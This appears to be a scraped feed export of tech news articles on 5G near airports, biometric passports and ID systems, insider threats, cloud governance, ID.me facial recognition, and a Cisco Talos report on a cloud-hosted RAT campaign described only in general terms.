# data[].attributes.headline
The FAA reaches agreement with Verizon and AT&T to safely deploy C-band 5G near airports

# data[].attributes.subject
The FAA reaches agreement with Verizon and AT&T to safely deploy C-band 5G near airports

# data[].attributes.attachment_link.readable_text
This month, there's been ongoing discussions between US carriers Verizon and AT&T, US Airlines, and the FAA (Federal Aviation Administration) regarding the deployment of C-band 5G towers in areas near key airports. The concern lies with the potential for the C-band 5G towers being deployed by US carriers Verizon and AT&T and the Airport's low-visibility equipment, specifically with interference of an altimeter devices.

The latest development is that the US carriers and FAA have reached an agreement on which steps need to be taken to ensure safety of key airports while also deploying more C-band 5G towers.

The FAA appreciates the strong communication and collaborative approach with wireless companies, which have provided more precise data about the exact location of wireless transmitters and supported more thorough analysis of how 5G C-band signals interact with sensitive aircraft instruments. The FAA used this data to determine that it is possible to safely and more precisely map the size and shape of the areas around airports where 5G signals are mitigated, shrinking the areas where wireless operators are deferring their antenna activations. This will enable the wireless providers to safely turn on more towers as they deploy new 5G service in major markets across the United States.

Earlier in January, US Airlines warned both wireless carriers and the FAA that interference was imminent if carriers were to light C-band 5G towers near busy airports and that the airports should be cleared to fly by the FAA of flights could have been grounded.

Soon after, Airlines asked the DOT (US Department of Transportation) to create temporary buffer of a 2-mile radius around runways that are free of C-band towers.

Verizon's C-band 5G falls within the 3.7GHz spectrum while AT&T's operates on 3.7GHz spectrum.

# data[].attributes.attachment_link.title
The FAA reaches agreement with Verizon and AT&T to safely deploy C-band 5G near airports

# data[].attributes.attachment_link.description
This month, there's been ongoing discussions between US carriers Verizon and AT&T, US Airlines, and the FAA (Federal Aviation Administration) regarding the deployment of C-band 5G towers in areas near key airports. The concern lies with the potential for the C-band 5G towers being deployed by US carriers Verizon and AT&T and the Airport's low-visibility equipment, specifically with interference of an altimeter devices.

# data[].attributes.headline
The Results Are In: We Tested the Latest 5G Tech on All Three Carriers

# data[].attributes.subject
The Results Are In: We Tested the Latest 5G Tech on All Three Carriers

# data[].attributes.attachment_link.title
The Results Are In: We Tested the Latest 5G Tech on All Three Carriers

# data[].attributes.attachment_link.description
We analyzed the new 5G systems from AT&T, T-Mobile, and Verizon—and they’re all faster than ever.

# data[].attributes.headline
How last week's 5G deployment went so wrong

# data[].attributes.subject
How last week's 5G deployment went so wrong

# data[].attributes.attachment_link.title
How last week’s 5G deployment went so wrong

# data[].attributes.attachment_link.description
From canceled flights to dire warnings of a stalled shipping economy, this was not how the rollout of 5G networks was supposed to go.

# data[].attributes.headline
Poland deploys HID Global fingerprint biometrics for EU-compliant ID cards

# data[].attributes.subject
Poland deploys HID Global fingerprint biometrics for EU-compliant ID cards

# data[].attributes.attachment_link.title
Poland deploys HID Global fingerprint biometrics for EU-compliant ID cards | Biometric Update

# data[].attributes.attachment_link.description
The fingerprint readers were deployed to more than 2,000 Polish locations and integrated into the country’s ID infrastructure within a period of just 40 days.

# data[].attributes.headline
Sentry Enterprises picks up $13M to scale biometric access control card production

# data[].attributes.subject
Sentry Enterprises picks up $13M to scale biometric access control card production

# data[].attributes.attachment_link.readable_text
Sentry Enterprises has raised $13 million in a Series D funding round to scale its operations and complete a strategic investment in card manufacturer X-Core Technologies to support Sentry's biometric identity platform.

The preferred equity offering appears to position Sentry to bring its SentryCard, a biometrics-enabled card for physical and logical access control that Genetec signed up to resell in late-2021.

"With the support from both existing and new investors, Sentry enters 2022 ready for its next chapter of growth to fulfill its vision of helping end-users achieve the zero-trust security architecture they strive for," comments John Calzaretta, president at Sentry Enterprises.

Pennsylvania-based X-Core Technologies is a card manufacturing technology innovator, according to the announcement, holding numerous patents. With the newly-announced investment, Sentry becomes strategic partner X-Core's largest shareholder.

"Sentry's partnership with X-Core has been vital to achieving our commercial scale," states Mark Bennett, CEO at Sentry Enterprises. "Making an equity investment further strengthens that partnership, while vertically integrating our manufacturing operation and processes."

"We couldn't be more pleased or excited to grow our relationship with Sentry from customer to strategic partner," says Mark Cox, CEO at X-Core Technologies.

Sentry also placed a volume order for hundreds of thousands of biometric fingerprint sensor modules from Fingerprint Cards last year.

Article Topics

access control | access management | biometric cards | biometrics | funding | investment | Sentry Enterprises | SentryCard | smart card | smartcards | X-Core Technologies

# data[].attributes.attachment_link.title
Sentry Enterprises picks up $13M to scale biometric access control card production | Biometric Update

# data[].attributes.attachment_link.description
Sentry Enterprises has raised $13 million in a Series D funding round to scale its operations and complete a strategic investment in card manufacturer X-Core Technologies to support Sentry's biometric identity platform. The preferred equity offering appears to position Sentry to bring its SentryCard, a biometrics-enabled card for physical and logical access control that Genetec signed up to resell in late-2021.

# data[].attributes.headline
Belgium biometric passports feature new Zetes security innovation

# data[].attributes.subject
Belgium biometric passports feature new Zetes security innovation

# data[].attributes.attachment_link.readable_text
Belgium's new biometric passports have been unveiled with protection from counterfeiting provided by a new technology co-developed by Zetes.

Initial dates set for the introduction of new passports in Kenya and Dominica have been revised for difference reasons, according to local media reports in these countries.

In Zimbabwe, a promise by authorities that issuance of a new generation of biometric passports would effectively begin by mid this month seems not to have been kept as applicants say they can't obtain the ID documents yet.

Bahrain for its part is also looking at the possibility of introducing biometric passports which are increasing becoming en vogue across the world.

Counterfeiting protection for Belgium from Zetes and partners

Belgium's new biometric passports, with security features from Zetes to prevent counterfeiting, has been unveiled, with the first copies on track for delivery to local authorities on February 7.

The passports feature passport holder's photographs reproduced through a technique combining perforation and laser printing, which is used only on Belgian eIDs, and developed in collaboration with IAI Industrial Systems, according to the announcement. Other upgrades from the previous generation of Belgian passports include the polycarbonate page holding the bearer's biographic data and biometrics.

Zetes says the close association of comic books with Belgian culture informed the decorative elements of the new passport.

"We are delighted to be able to continue our collaboration with the Ministry of Foreign Affairs," says Zetes CEO Alain Wirtz. "The Belgian passport is a flagship document and a global showcase for our country's expertise, since it is one of the most secure and widely accepted passports in the world."

The contract for the biometric passports was won by Zetes and Thales in 2020.

Kenya pushes deadline to November 2022

The government of Kenya announced recently that the introduction of a new biometric passport initially slated for December 2021, is now only likely by December 2022 when the current passport format would have phased out, Mwakilishi reports.

The announcement was made by the Director-General of Immigration Services Alexander Muteshi who said the decision was taken during the 41st Ordinary session of the East African Community (EAC) Council of Ministers which took place last November in Tanzania, the report states.

After the deadline, Kenyans will be able to travel only using the EAC-type biometric passport which will be compliant with the standards of the International Civil Aviation Organization (ICAO).

The new passport planned by Kenya will be designed with a chip that will contain the biometric identifiers of the holder. It will also have advanced security features to make fraud and forgery difficult, Mwakilishi mentions.

Dominica biometric passports to be required earlier than planned

Previously planned for July 2023, authorities in the Caribbean nation of Dominica are now saying the deadline for retiring the previous generation passports will instead be August 31, 2022, reports WIC News.

The outlet cites the government as saying the decision is inspired by the need for the country to urgently join the league of nations which are all accelerating efforts to provide safe and secure travel ID documents for their citizens.

Launched in 2021, the new passports replace the previous machine-readable version, with the National Security and Home Affairs Minister Rayburn Blackmoore saying in a recent press conference that the document is designed with strong security and privacy features by the Canadian Bank Note Company Ltd., which is in charge of the project.

The Minister has also assure that his ministry is working on a plan to enable citizens go through the passport transition without major difficulties.

Bahrain unveils biometric passport plans

The country's Interior Ministry Under-Secretary for Nationality, Passports and Residence Affairs, Shaikh Hisham bin Abdulrahman Al Khalifa, has hinted that the government is working on a project to introduce a biometric passport.

Speaking to Shura Council members during their weekly meeting recently, the Minister said the new passport is designed with a biometric chip which can store security-related information and will be scanned using Blue Line Technology, according to Zawya.

The Blue Line system can capture the face biometrics of passport holders as they approach a gate or turnstile, according to the Minister.

Facial recognition is planned for implementation at airports in a later phase of the project.

The plans have been endorsed by the Shura and Parliament, and now await the assent of King Hamad bin Isa Al Khalifa, the country's leader.

Zimbabweans still to see effective issuance, fees too high

In Zimbabwe, citizens are still awaiting the effective issuance of the new biometric passport despite an announcement by the contractor that the process was to go full swing by mid this month.

A report by Pindula cites contractor Garsu Pasaulis as saying all was already in place for the full rollout of the passport "within the next three days."

However, another report more than one week after by New Zimbabwe (on January 19) indicates that the process was yet to effectively start as only the old passports, which phase out in 2023, were still being issued to applicants.

News Day, in its own article, quotes deputy Information Minister as confirming that the effective issuance of the passports has not yet started due to logistics problems, but that Home Affairs Minister was to issue a full statement to give details on the matter.

The new biometric passport was launched in December by President Emmerson Mnangagwa in Harare.

Meanwhile, as Zimbabweans who have travel schedules anxiously await the full rollout of the new biometric passport, others have been raising concerns about the cost.

News Daily in an editorial comment argues that the new fees for obtaining the passport is way too high for an average Zimbabwean.

The amount for an ordinary passport in regular production time is fixed at $100, but the price doubles for an emergency production.

The comment states that while government should be commended for scrapping the proposed additional application fee of $20, the main fee itself remains high.

The article calls on the government not to be oblivious of the daily economic difficulties faced by Zimbabweans, and urges it to reconsider the fees which it calls "prohibitive especially for upcoming entrepreneurs who would want to travel out of the country."

Article Topics

Bahrain | Belgium | biometric passport | biometrics | digital ID | Dominica | identity document | Kenya | Zetes | Zimbabwe

# data[].attributes.attachment_link.title
Belgium biometric passports feature new Zetes security innovation | Biometric Update

# data[].attributes.attachment_link.description
Belgium's new biometric passports have been unveiled with protection from counterfeiting provided by a new technology co-developed by Zetes. Initial dates set for the introduction of new passports in Kenya and Dominica have been revised for difference reasons, according to local media reports in these countries.

# data[].attributes.headline
Disease detection from fingerprints improving despite limited biometric data

# data[].attributes.subject
Disease detection from fingerprints improving despite limited biometric data

# data[].attributes.attachment_link.readable_text
Fingerprint biometrics can reveal a good deal more about an individual than who they are, as attendees of a presentation from The European Association for Biometrics ( EAB) heard, though in some cases the changes that make diseases and other conditions detectable through fingerprints also render them useless for identification purposes.

The EAB lunch talk on 'Disease detection and recognition in fingerprint images' was presented by Ph.D. researcher Mona Heidari of Brno University of Technology.

Heidari explained the basic structure of the skin, how the three layers are affected by different conditions, and the various factors that can affect fingerprint image quality. Damage to the inner fat layer makes fingerprint reading impossible, for instance.

Damage can be seen in the epidermis and dermis layers in the form of structural changes or discoloration, Heidari says. Various conditions, including some commonly found in the third-world, manifest in eczema or psoriasis that can render fingerprint ridges unreadable.

Where discoloration or structural changes are found on the fingerprint can sometimes indicate what kind of health problem they are facing, according to Heidari. Straight lines often but not always indicate cut wounds, while irregular dark patches and small capillary lines are among the possible indications of diseases or other health problems.

Heidari also explained the sources used to build the biometric dataset used in the research.

Her team applied fingerprint recognition algorithms to fingerprints after the images were classified by detector algorithms.

A classical approach with preprocessed images was used, due to the low volume of data available, were used to generate histograms, which showed promise, Heidari says. Other algorithms and approaches were successful to significantly varying degrees.

The data available is not sufficient for machine learning approaches, so Heidari has experimented with synthetic data, yielding positive early results.

A researcher working on infant biometrics told Biometric Update previously that indications of highly sensitive health information could be seen from a glance at some fingerprint images, opening up a range of ethical dilemmas and data protection concerns.

The next EAB event is the WIC Midwinter Meeting on ' AI and Privacy - Regulatory, Technical and Scientific Perspectives,' and the next lunch talk will address ' Why deepfakes aren't the real challenge for remote biometrics,' presented by Ann-Kathrin Freiberg of BioID.

Article Topics

biometric data | biometric identification | biometrics | biometrics research | disease detection | EAB | European Association for Biometrics | fingerprint recognition | fingerprints

# data[].attributes.attachment_link.title
Disease detection from fingerprints improving despite limited biometric data | Biometric Update

# data[].attributes.attachment_link.description
Fingerprint biometrics can reveal a good deal more about an individual than who they are, as attendees of a presentation from The European Association for Biometrics ( EAB) heard, though in some cases the changes that make diseases and other conditions detectable through fingerprints also render them useless for identification purposes.

# data[].attributes.headline
With Cloud the Norm, Insiders Are Everywhere — and Pose Greater Risk

# data[].attributes.subject
With Cloud the Norm, Insiders Are Everywhere — and Pose Greater Risk

# data[].attributes.attachment_link.readable_text
Organizations dealing with insider threats spent $15.4 million on average during 2021, a 34% increase from 2020, and required 85 days to contain each incident, according to a survey of 1,000 information technology and security professionals released on Jan. 25.

The survey, conducted by the Ponemon Institute and sponsored by enterprise security firm Proofpoint, documented 6,803 total insider incidents, including those caused by negligent employees, malicious insiders, and the theft of credentials by outside hackers. Because companies have accelerated their move to cloud services in the wake of the pandemic, the theft of credentials has become a more common - and the most expensive - insider threat, nearly doubling in frequency over the previous year.

The move to remote work and cloud services has changed the way that companies have to watch out for insider attacks, says Ryan Kalember, executive vice president of cybersecurity strategy for Proofpoint.

"The relationship with the employer is different, and the set of technical controls you use to identify those incidents are different," he says. "There are no classic insider risk program elements when you are not all going to the same office, and can say, 'Oh, that guy is acting funny.' You can't do that when everyone is meeting over Zoom all day."

Based on a sample of 278 companies, the survey found that the insider attacks cost companies in North America the most, with the average firm in that region paying $17.5 million per year; the financial services industry had the greatest cost, with each company paying $21.3 million on average, according to the report.

Overall, 43% of the cost from insider threats was due to negligent employees, 27% due to malicious insiders, and 30% due to credential theft. The most common insider incident, negligent insiders, accounted for 56% of the incidents but cost the least - about $485,000 - to remediate on average, while the least common type of insider incident, credential theft, which accounted for 18% of incidents, cost the most, at $805,000.

Both the frequency and cost per incident of insider threats have increased over time, Larry Ponemon, chairman and founder of the Ponemon Institute, said in a statement.

"We are seeing the risk of malicious insider threats increase - with more users accessing business data from outside the confines of the office," he said. "This can blur the security team's ability to identify and differentiate between well-meaning employees and malicious insiders trying to siphon sensitive business data."

User-Credential Theft
Perhaps unsurprisingly, the theft of an employees credentials remains the most significant threat.

More than half of security professionals (55%) interviewed during the survey consider the theft of an employee's valid credentials as the most significant concern, while about a quarter (24%) worry about criminal or malicious insiders and a fifth (21%) worry about careless or negligent employees.

"Someone loses control of their credentials, especially things like VPN credentials, that is just a nightmare to track down," says Proofpoint's Kalember. "It's not a traditional insider threat, but the compromised insider caused one of the more painful incidents because of how VPNs work in a work-from-anywhere world. It is hard to take those legitimate set of creds and figure out everything that was done with it to make sure that data was not lost."

Malicious insiders, the second most common threat and second most expensive to remediate, generally used email to steal sensitive information. About two-thirds of professionals indicated that email contained the most sensitive data, including personally identifiable information (PII) and intellectual property. Email is also used to exfiltrate data, with about three-quarters (74%) of respondents believing that malicious insiders used email to send sensitive data to third parties.

The average incident took 85 days to resolve, with a little more than half of companies taking from between one month and three months to resolve an insider attack, according to the survey. Only 12% of companies mitigate an insider incident in less than a month.

Most companies have focused on using data loss prevention (DLP) tools, privileged access management (PAM) software, and user and entity behavior analytics (UEBA) systems to mitigate the risk, according to the survey. About two-thirds (64%) of respondents use DLP systems to prevent access to and exfiltration of sensitive data, while 60% closely manage highly privileged accounts using PAM software.

Business disruption accounted for nearly a quarter of the cost (23%) of incidents, while technology accounted for 21%.

# data[].attributes.attachment_link.title
With Cloud the Norm, Insiders Are Everywhere - and Pose Greater Risk

# data[].attributes.attachment_link.description
Organizations dealing with insider threats spent $15.4 million on average during 2021, a 34% increase from 2020, and required 85 days to contain each incident, according to a survey of 1,000 information technology and security professionals released on Jan. 25.

# data[].attributes.headline
Preparing for the Next Cybersecurity Epidemic: Deepfakes

# data[].attributes.subject
Preparing for the Next Cybersecurity Epidemic: Deepfakes

# data[].attributes.attachment_link.title
Preparing for the Next Cybersecurity Epidemic: Deepfakes

# data[].attributes.attachment_link.description
Using blockchain, multifactor authentication, or signatures can help boost authentication security and reduce fraud.

# data[].attributes.headline
Mastering the Art of Cloud Tagging Using Data Science

# data[].attributes.subject
Mastering the Art of Cloud Tagging Using Data Science

# data[].attributes.attachment_link.readable_text
Many organizations accelerated digital transformation in response to COVID-19 to remain resilient and competitive, with heavy investments in the cloud. This trend will continue well beyond the initial stages of the pandemic, with IDC's spending forecast on "whole cloud" services to surpass $1.3 trillion by 2025.

Unfortunately, side effects from these expanded architectures include enhanced risk of shadow IT and unauthorized cloud access, as well as disparate tool sets that can lead to governance gaps. Better visibility of assets is key to solving these issues, and one of the most powerful items in the visibility toolkit is cloud tagging - the process of labeling cloud assets by certain attributes or operational values for better organization, search, and filtering of these assets.

Let's examine how enterprises can upskill on cloud tagging to meet the additional security and governance hurdles that come with expanded and distributed cloud architectures - and how the most advanced cloud tagging methodologies can unlock behavioral insights to optimize and automate cyber asset management at scale.

Proper tagging is at the center of effective cloud governance for reporting, chargeback, cost optimization, compliance, and more. Yet despite the value derived from cloud tagging, too many organizations don't have a coherent strategy for this essential function. Many moved so quickly to acquire technology in the midpandemic rush to digitize that tagging sometimes became an afterthought, or tagging methodologies were not followed properly, if at all.

To be sure, understrategized migrations were a phenomenon even before 2020. But COVID-19 exacerbated the problem as more organizations scrambled to stand up new IT services and cloud resources to adapt to pandemic-era business impacts and work-from-home requirements. This is more than just an inconvenience; it's left organizations vulnerable to increased risk from breaches, ransomware, shadow IT, and other threats.

Especially as systems scale and new technologies get added, inadequate tagging creates governance and security gaps from misaligned systems. For instance, edge computing can dramatically increase available data and slash latency - but those sensors, video feeds, or other edge assets also represent additional entry points for hackers if they're not adequately tagged and monitored within the enterprise architecture.

Tagging enables governance and security through better data and asset discoverability and a stronger understanding of operational context for cyber assets. In that sense, think of cloud tagging as a nuanced and dynamic way to put metadata to work for the organization. Mastering your metadata allows you to enhance governance and security by better connecting and combining diverse datasets, and cloud tagging is a core operational framework for achieving this.

3 Ways to Optimize Tagging The takeaway is that cyber-risks and shadow IT have fewer places to hide within digital systems that have robust metadata management and cloud tagging procedures in place. Advanced cloud tagging can also become the overall foundation for a more dynamic and data-driven approach to cyber asset management. Here are three priorities to help drive toward this outcome.

Take an "Algorithmic" Approach Tags can represent not just attributes of an asset (such as region, department, cost center, owner, etc.) but also the processes these assets are subject to. This affords the opportunity to take an "algorithmic" approach to tagging - effectively setting up a rules engine that applies policies you create based on the tags that you want. This allows you to keep track of assets and the policies that govern them, even on a dynamic and elastic platform that may be scaling up or down. It's important to thoroughly master the nuances of both attribute and policy tagging to avoid either missing out on functionality, or mislabeling tags so that unintended consequences follow.

Embrace a Culture of Tagging Make sure to designate stakeholders to be stewards responsible for instilling a culture of tagging in the organization to enforce consistent processes and parameters. Especially with a distributed workforce, this stewardship role may involve enforcement of certain tagging formulas; retroactive tagging when developers may have added assets or functions or services they didn't think to tag; and steady monitoring of business outputs to ensure tags are effective and optimized to the business need and the business value derived from the asset. Throughout, the steward's role is also to ensure these considerations make their way into the automated processes required to conduct cloud tagging at scale.

Optimize for Automation, Scalability Even the most strategic tagging methodologies can break down at scale if they rely on a manual approach that's prone to human error and capacity limits - especially given the dozen or more tags that may define an asset and the processes and policies it's subject to. The good news is that automated tagging protocols enable not just scalability but also dynamic infrastructure provisioning for IT financial management, as well as automated reporting for better security, compliance reporting, and cost management.

As much as tagging is at the heart of transformation, automation is at the heart of tagging. With the right tags in place, you can index and manage digital infrastructure and operations on any scale, provided you automate the process of dynamic tag writing through automatic scans or similar means. In other words, marrying tagging and automation together will ensure tagging can happen at the scale and velocity of the modern enterprise. This is the best way to create a robust foundation for an optimized cloud infrastructure - one capable of supporting advanced cyber asset management for better security, governance, and system performance.

# data[].attributes.attachment_link.title
Mastering the Art of Cloud Tagging Using Data Science

# data[].attributes.attachment_link.description
Many organizations accelerated digital transformation in response to COVID-19 to remain resilient and competitive, with heavy investments in the cloud. This trend will continue well beyond the initial stages of the pandemic, with IDC's spending forecast on "whole cloud" services to surpass $1.3 trillion by 2025.

# data[].attributes.headline
The IRS Needs to Stop Using ID.me's Face Recognition, Privacy Experts Warn

# data[].attributes.subject
The IRS Needs to Stop Using ID.me's Face Recognition, Privacy Experts Warn

# data[].attributes.attachment_link.readable_text
Privacy groups are demanding transparency following news that ID.me-the biometric identity verification system used by the IRS and over 27 states-has failed to be entirely transparent in how its facial recognition technology works.

In a LinkedIn published on Wednesday, ID.me founder and CEO Blake Hall said the company verifies new enrolling users' selfies against a database of faces in an effort to minimize identity theft. That runs counter to the more privacy-preserving ways ID.me has pitched its biometric products in the past and has drawn scrutiny from advocates who argue members of the public compelled to use ID.me for basic government tasks have unclear information.

On the company's website and in white papers shared with Gizmodo, ID.me suggests its services rely on 1:1 face match systems that compare a user's biometrics to a single document. That's opposed to so-called 1:many facial recognition systems (the kind deployed by the likes of now-notorious firms like Clearview AI) that compare users to a database of (many) faces.

Privacy experts generally tend to agree 1:many more is susceptible to error and bias (though groups like the Electronic Frontier Foundation have expressed over 1:1 as well). However, while ID.me has pitched itself primarily on the back of 1:1 face match, new comments from the company's founder show, at least in some scenarios, the company does compare some users' faces to a database rather than a single document. That potentially implicates millions of Americans who are being told by federal and state governments to sign up for the site to view their taxes online or file for unemployment benefits.

Specifically, ID.me told Gizmodo it uses 1:many face recognition when users first enroll in its system to prevent identity theft, which is in addition to the 1:1 check it users to verify someone's identity. In other words, ID.me uses 1:1 to make sure you are you, and 1:many to make sure you're not someone else.

The revelation of ID.me's use of 1:many face recognition drew immediate criticisms from a wide range of privacy groups. One of those, digital rights nonprofit Fight For the Future, released a accusing the company of "lying about the scope of its facial recognition surveillance." In an emailed statement Fight for the Future Campaign Director, Caitlin Seeley George said the revelations should make government agencies reconsider their partnerships with ID.me.

"The IRS needs to immediately halt its plan to use facial recognition verification, and all government agencies should end their contracts with ID.me," Seeley George wrote. "We also think that Congress should investigate how this company was able to win these government contracts and what other lies it might be promoting."

They weren't alone. In an interview with Gizmodo, ACLU Senior Policy Analyst Jay Stanley expressed deep concern over what he described as a lack of transparency from ID.me, particularly given its close relationship with government services.

"The fact that they [ID.me] weren't transparent about this is just another sign we're making up important policies for how Americans relate to their government by letting private companies make things up as they go along in secret," Stanley said. "If this company was a government agency they would be subject to FOIA and the Privacy Act and other checks and balances that have been developed over many decades to forestall the kinds of problems that can emerge."

Stanley also expressed concerns over the database ID.me maintains to prevent fraud and whose face may make their way on it and who may be on it.

Meanwhile, in an email to Gizmodo, the Surveillance Technology Oversight Project, (STOP) which has raised concerns over ID.me's relationship with the IRS, echoed Stanley's concerns over transparency and warned the news of ID.me using 1:many facial recognition means the system could be more susceptible to bias than previously known.

"This dramatically expands the risk of racial and gender bias on the platform," STOP Executive Director Albert Fox Cahn told Gizmodo. "More fundamentally, we have to ask why Americans should trust this company with our data if they are not honest about how our data is used. The IRS shouldn't be giving any company this much power to decide how our biometric data is stored."

In follow-up statements, ID.me reiterated that it checks new enrolling users against its own database of selfies, "to check for prolific attackers and members of organized crime who are stealing multiple identities." The company says less than .1% of all users are flagged as potential identity thieves. If a user is flagged by the facial recognition system, they aren't blocked outright but are instead redirected to a video chat verification with one of the company's team members.

"Without this control in place to detect repeat attackers, criminals would victimize thousands of innocent people per day," ID.me said. "Given the threat environment, the alternative is to either accept massive amounts of fraud or to simply take the programs offline altogether."

News of ID.me's facial recognition database comes one week after and other wrote about the IRS's decision to mandate ID.me's verification process for anyone trying to access their IRS.com account. Since then, numerous activist groups, including the ACLU and STOP, have spoken out publicly against the problem.

The issue also gained Democratic Sen. Ron Wyden's attention. In a tweet, Wyden said he was "very disturbed" that some taxpayers may feel like they need to submit to a facial recognition scene. "While e-filing returns remain unaffected, I'm pushing the IRS for greater transparency on this plan."

Though this particular instance happens to narrowly focus on ID., Stanley, the ACLU attorney, said the transparency issues highlighted are evidence of an overall system in need of a review from top to bottom.

"The infrastructure here of having a for-profit company doing what is probably an essential government function [verifying identities] is a broken way to build this kind of identity proofing system."

# data[].attributes.attachment_link.keywords[]
automatic identification and data capture

# data[].attributes.attachment_link.title
The IRS Needs to Stop Using ID.me's Face Recognition, Privacy Experts Warn

# data[].attributes.attachment_link.description
Privacy groups are demanding transparency following news that ID.me-the biometric identity verification system used by the IRS and over 27 states-has failed to be entirely transparent in how its facial recognition technology works. In a LinkedIn published on Wednesday, ID.me founder and CEO Blake Hall said the company verifies new enrolling users' selfies against a database of faces in an effort to minimize identity theft.

# data[].attributes.headline
Why organizations should consider adopting cloud governance as code

# data[].attributes.subject
Why organizations should consider adopting cloud governance as code

# data[].attributes.attachment_link.readable_text
Cloud governance, in terms of enforcing cost, compliance, and security policies tends to be a pivotal inhibitor to cloud adoption (86% of the respondents) and is a top priority for organizations in the new year, a Stacklet survey reveals.

57% of the respondents are prioritizing cost controls and optimization while 48% of the respondents are looking to strengthen their cloud security posture while implementing industry best practices (51%).

Cloud governance is a framework of policies, procedures, and tools focused on ensuring cloud deployments are operating securely and efficiently. While deemed necessary, organizations struggle to collaborate on and enforce governance policies without hindering developer velocity to multiple tools, manual workflows, and cross-functional groups.

The survey included over 700 IT professionals, developers and solutions architects from a cross-section of mid- to large-size companies in industries such as software, financial services, government and computers and highlighted issues and challenges with respect to cloud governance.

Issues with cloud governance

Cloud governance enforcement is inhibiting the acceleration of cloud adoption and usage: 86% of respondents find it challenging to enforce cost, compliance, and security. As a result, they view this as an inhibitor to innovation in the cloud.

Lack of collaboration and communication across groups make it hard to implement policies: 46% of surveyed organizations find it challenging to collaborate across developer, operations, and security teams to implement security policies. Similarly, 36% highlighted collaboration across finance, business, and development teams for cost control policies as a challenge.

Manual processes and complex policies make security policy enforcement difficult at scale: 44% of the respondents picked manual processes, reviews, and workflows as a challenge to strengthening cloud security, while 40% of the respondents found security policies difficult to understand and implement.

Multiple deployment tools and lack of visibility make cloud optimization challenging: In addition to lack of collaboration, respondents selected the varied choice of deployment tools used by development teams (39%) and lack of visibility into resources (38%) as critical challenges to controlling and optimizing spend in the cloud.

Governance as code is a new paradigm that enables organizations to use code to manage and automate various aspects of governance, including cost, operations, security, and compliance. Organizations are shifting to this paradigm to reduce the operational overhead of traditional governance tools and processes. Governance as code also encourages continuous collaboration and establishes agility by providing a standard, declarative language that different stakeholders can easily understand and adopt.

"As more and more companies are starting to increase their cloud usage, cloud security and cost management has become critical," said Travis Stanfield, CEO, Stacklet.

"This research shows organizations are lacking proper governance and collaboration across various groups from engineering to finance, making it challenging for organizations to enforce the right policies and control costs. By adopting cloud governance as code model organizations can remove the friction associated with traditional tooling and processes while innovating securely in the cloud."

# data[].attributes.attachment_link.title
Why organizations should consider adopting cloud governance as code - Help Net Security

# data[].attributes.attachment_link.description
Cloud governance, in terms of enforcing cost, compliance, and security policies tends to be a pivotal inhibitor to cloud adoption (86% of the respondents) and is a top priority for organizations in the new year, a Stacklet survey reveals.

# data[].attributes.headline
What is challenging multicloud adoption?

# data[].attributes.subject
What is challenging multicloud adoption?

# data[].attributes.attachment_link.title
What is challenging multicloud adoption? - Help Net Security

# data[].attributes.attachment_link.description
Nutanix announced the findings of its ECI survey and research report, which measures enterprise progress with cloud adoption.

# data[].attributes.headline
Hackers buying space from major cloud providers to distribute malware

# data[].attributes.subject
Hackers buying space from major cloud providers to distribute malware

# data[].attributes.attachment_link.readable_text
Cisco Talos discovered a malicious campaign in October 2021 delivering variants of Nanocore, Netwire and AsyncRATs targeting users' information. According to Cisco, the victims of this campaign are primarily distributed across the United States, Italy and Singapore.

The actor used complex obfuscation techniques in the downloader script. Each stage of the deobfuscation process results with the decryption methods for the subsequent stages to finally arrive at the actual malicious downloader method.

The campaign is the latest example of threat actors abusing cloud services like Microsoft Azure and Amazon Web Services and are actively misusing them to achieve their malicious objectives. Threat actors, Cisco says, are increasingly using cloud technologies to achieve their objectives without resorting to hosting their own infrastructure, allowing them to set up their infrastructure and connect to the internet with minimal time or monetary commitments. It also makes it more difficult for defenders to track the attackers' operations.

The threat actor, in this case, used cloud services to deploy and deliver variants of commodity RATs with the information-stealing capability starting around Oct. 26, 2021. These variants of Remote Administration Tools (RATs) are packed with multiple features to take control over the victim's environment to execute arbitrary commands remotely and steal the victim's information.

The initial infection vector is a phishing email with a malicious ZIP attachment. These ZIP archive files contain an ISO image with a malicious loader in JavaScript, a Windows batch file or a Visual Basic script. When the initial script is executed on the victim's machine, it connects to a download server to download the next stage, which can be hosted on an Azure Cloud-based Windows server or an AWS EC2 instance, Cisco researchers found.

To deliver the malware payload, the threat actor registered several malicious subdomains using DuckDNS, a free dynamic DNS service. The malware families associated with this campaign are variants of the Netwire, Nanocore and AsyncRAT remote access trojans. "The malware samples that have been observed in this campaign have a breadth of capabilities, including capturing video and audio, recording behavior on the screen, swiping login credentials, and taking control of the machine. With remote access trojans (RATs), there's always an element of control in the attacker's intentions. In this case, if the attacker can take control of the machine, they can likely follow an individual right into their corporate infrastructure. This could lead to the creation of a backdoor into the infrastructure, which would give the attacker a way to circumvent most security controls in order to monitor the infrastructure, understand security and response tactics, then execute a ransomware attack or data exfiltration attack on the organization," explains Hank Schless, Senior Manager, Security Solutions at , a California-based endpoint-to-cloud security company.

Schless says it's critical to understand the risk profile of every user and device across an organization's infrastructure and be able to provide continuous conditional access based on that risk. He adds, "You also need to understand how your users interact with cloud apps and the data stored within them. As this mindset moves to the top of the list for most organizations, they're turning to cloud access security broker (CASB) solutions to help implement the necessary visibility and security. Automated user and entity behavior analytics (UEBA) policies that can detect behavior anomalous indicative of a compromised account are key to any security strategy." Cisco, for example, suggests that organizations inspect outgoing connections to cloud computing services for malicious traffic.

Threat actors use well-known cloud services in their campaigns because the public passively trusts big companies to be secure, explains Davis McCarthy, Principal Security Researcher at , a California-based cloud-native network security services provider. "Network defenders may think communications to an IP address owned by Amazon or Microsoft is benign because those communications occur so frequently across a myriad of services. The use of dynamic DNS gives the threat actor a flexible infrastructure that doesn't require a static IP address. This prevents campaign disruption and provides a layer of obfuscation when threat hunting for a specific dynamic DNS provider's domain. Creating an inventory of known cloud services and their network communication behaviors may aid in detecting this type of campaign."

This attack highlights a fundamental principle that is at the core of security for enterprise organizations, says Miclain Keffeler, Application Security Consultant at , a Virginia-based application security provider. "Security is an onion, so relying on any one given tool like email security, antivirus protection, or even just your people is a recipe for disaster. By having layers, we can not only prevent more attacks, but the attacks that do get through - and they always do - will be more easily remediated. Not to mention, the costs incurred by the company will be significantly lessened since there will be more than one way to root it out - and, ultimately, stop it. Enterprise organizations have a large role to play in this conundrum, but so do public cloud platforms. It is equally their responsibility to ensure that when malicious usage of their services and cloud environment are found, they are immediately halted. These kinds of attacks aren't going anywhere, so it's important that cloud providers like AWS and Microsoft Azure step in to develop more processes around the notification of malicious use cases - especially given the complex nature of the current threatscape."

# data[].attributes.attachment_link.title
Hackers buying space from major cloud providers to distribute malware

# data[].attributes.attachment_link.description
